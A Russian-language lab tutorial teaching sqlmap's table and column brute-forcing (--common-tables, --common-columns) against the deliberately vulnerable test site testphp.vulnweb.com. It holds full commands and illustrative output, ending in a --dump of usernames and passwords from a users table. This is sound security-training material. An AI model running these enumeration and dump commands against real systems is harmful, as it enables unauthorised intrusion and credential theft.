Введение
В этой лабораторной работе вы изучите продвинутые методы использования sqlmap для обнаружения имен таблиц и столбцов базы данных, когда стандартные методы перечисления неэффективны. Это часто встречается в реальных сценариях, когда веб-приложения реализуют надежную фильтрацию или межсетевые экраны веб-приложений (WAF), которые блокируют распространенные полезные нагрузки SQL-инъекций. Вы научитесь использовать возможности брутфорса sqlmap, в частности флаги --common-tables и --common-columns, для идентификации скрытых структур базы данных с использованием встроенных списков слов. Этот практический опыт вооружит вас необходимыми навыками для более полного тестирования на SQL-инъекции.
Определение сценария, в котором стандартное перечисление не работает
На этом шаге вы смоделируете сценарий, в котором стандартные методы перечисления sqlmap могут не справиться с обнаружением имен таблиц и столбцов. Это часто происходит из-за WAF, строгой фильтрации или пользовательской обработки ошибок, которая мешает sqlmap напрямую определять схему базы данных. Хотя для этой лабораторной работы мы не будем настраивать по-настоящему уязвимое приложение, мы будем использовать заполнитель URL, чтобы продемонстрировать, как sqlmap ведет себя, когда прямое перечисление невозможно.
Сначала попробуем стандартную команду перечисления для таблиц и столбцов. В качестве цели мы будем использовать фиктивный URL http://testphp.vulnweb.com/listproducts.php?cat=1. Известно, что этот URL в некоторых контекстах уязвим, но для этого упражнения мы предположим, что он настроен на блокировку прямого перечисления.
Откройте терминал и выполните следующую команду sqlmap. Эта команда пытается перечислить таблицы и столбцы для базы данных acuart.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --tables -D acuart --columns -T users --batch
Вы можете заметить, что sqlmap испытывает трудности с поиском таблиц или столбцов, или может сообщить, что таблицы/столбцы не найдены, даже если они существуют. Это имитирует сценарий, когда прямое перечисление заблокировано. Флаг --batch указывает sqlmap использовать ответы по умолчанию на вопросы, делая процесс неинтерактивным.
Пример вывода (может отличаться, но обратите внимание на отсутствие обнаруженных таблиц/столбцов):
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching tables for database 'acuart'
[INFO] no tables found in database 'acuart'
[INFO] fetching columns for table 'users' in database 'acuart'
[INFO] no columns found in table 'users'
...
Этот вывод указывает на то, что sqlmap не смог напрямую перечислить таблицы и столбцы. В таких случаях перебор распространенных имен становится жизнеспособной альтернативой.
Использование флага --common-tables для перебора имен таблиц
На этом шаге вы будете использовать флаг --common-tables для перебора имен таблиц. Этот флаг указывает sqlmap использовать встроенный список распространенных имен таблиц (например, users, admin, products, orders) и тестировать их на цели. Это особенно полезно, когда прямое перечисление заблокировано.
Продолжайте использовать тот же целевой URL http://testphp.vulnweb.com/listproducts.php?cat=1 и базу данных acuart.
Выполните следующую команду sqlmap:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --common-tables --batch
Эта команда предписывает sqlmap попытаться идентифицировать распространенные имена таблиц в базе данных acuart. sqlmap будет перебирать свой внутренний список слов и пытаться найти существующие таблицы.
Пример вывода:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common tables for database 'acuart'
[INFO] retrieved common table: 'users'
[INFO] retrieved common table: 'products'
[INFO] retrieved common table: 'categories'
...
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
...
Теперь вы должны увидеть, как sqlmap успешно идентифицирует распространенные имена таблиц, такие как users, products и categories. Это демонстрирует эффективность перебора, когда стандартное перечисление не удается.
Анализ списка найденных таблиц из общего списка слов
На этом шаге вы просмотрите вывод предыдущей команды, чтобы понять, какие распространенные таблицы sqlmap успешно идентифицировал. Этот анализ имеет решающее значение для планирования ваших следующих шагов в процессе SQL-инъекции, поскольку знание имен таблиц позволяет вам нацеливаться на конкретные данные.
Из вывода предыдущей команды sqlmap должен был перечислить несколько распространенных таблиц. Например, вы могли увидеть:
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
Это таблицы, которые sqlmap нашел путем перебора своего внутреннего списка слов. Наличие таких таблиц, как users, особенно интересно, поскольку они часто содержат конфиденциальную информацию, такую как имена пользователей и пароли.
Уделите минуту изучению вывода в вашем терминале. Определите имена таблиц, которые обнаружил sqlmap. Эти имена будут использоваться на следующих шагах для перебора имен столбцов.
Для этого шага не требуется никаких конкретных команд, поскольку он включает анализ вывода предыдущей команды. Этот шаг подчеркивает понимание результатов ваших операций с sqlmap.
Использование флага --common-columns для перебора имен столбцов
Теперь, когда вы определили распространенные имена таблиц, вы можете перейти к перебору имен столбцов в этих таблицах. Подобно флагу --common-tables, флаг --common-columns использует встроенный список распространенных имен столбцов (например, username, password, email, id) для обнаружения столбцов, когда прямое перечисление невозможно.
Предположим, вы нашли таблицу users на предыдущем шаге. Теперь вы попытаетесь перебрать имена столбцов в этой таблице users в базе данных acuart.
Выполните следующую команду sqlmap:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --common-columns --batch
Эта команда предписывает sqlmap найти распространенные имена столбцов в таблице users базы данных acuart.
Пример вывода:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common columns for table 'users' in database 'acuart'
[INFO] retrieved common column: 'id'
[INFO] retrieved common column: 'username'
[INFO] retrieved common column: 'password'
[INFO] retrieved common column: 'email'
...
Database: acuart
Table: users
[4 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(50) |
| email | varchar(100)|
+----------+-----------+
...
Вы должны увидеть, как sqlmap успешно идентифицирует распространенные имена столбцов, такие как id, username, password и email, в таблице users. Это демонстрирует, как перебор может раскрыть критически важную информацию, даже когда прямое перечисление заблокировано.
Объединение перебора с командой выгрузки данных
На этом заключительном этапе вы объедините перебор имен таблиц и столбцов с командой выгрузки данных. После успешного определения интересных таблиц и столбцов с помощью флагов --common-tables и --common-columns, вы можете использовать флаг --dump sqlmap для извлечения фактических данных.
Предполагая, что вы определили таблицу users и столбцы, такие как username и password, на предыдущих шагах, теперь вы можете попытаться выгрузить данные из этих столбцов.
Выполните следующую команду sqlmap для выгрузки столбцов username и password из таблицы users базы данных acuart:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C username,password --dump --batch
Эта команда предпишет sqlmap извлечь данные из указанных столбцов.
Пример вывода:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching entries for columns 'username,password' in table 'users' of database 'acuart'
...
Database: acuart
Table: users
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| test | test |
| admin | admin |
+----------+----------+
...
Вы должны увидеть, как sqlmap успешно выгружает данные из столбцов username и password. Это демонстрирует полный рабочий процесс: определение сценария, когда стандартное перечисление не удается, использование перебора для обнаружения скрытых структур и, наконец, извлечение конфиденциальных данных. Этот метод является мощным дополнением к вашему набору инструментов для SQL-инъекций.
Резюме
В этой лабораторной работе вы научились эффективно использовать возможности перебора sqlmap для обнаружения имен таблиц и столбцов, когда стандартные методы перечисления заблокированы или не работают. Вы начали с симуляции сценария, в котором прямое перечисление было безуспешным. Затем вы успешно использовали флаг --common-tables для идентификации распространенных имен таблиц и флаг --common-columns для поиска распространенных имен столбцов в этих таблицах. Наконец, вы объединили эти методы обнаружения с флагом --dump для извлечения данных из обнаруженных столбцов. Этот практический опыт предоставил вам важнейший навык для продвинутого тестирования SQL-инъекций, позволяющий обходить распространенные средства защиты и извлекать ценную информацию из уязвимых баз данных.


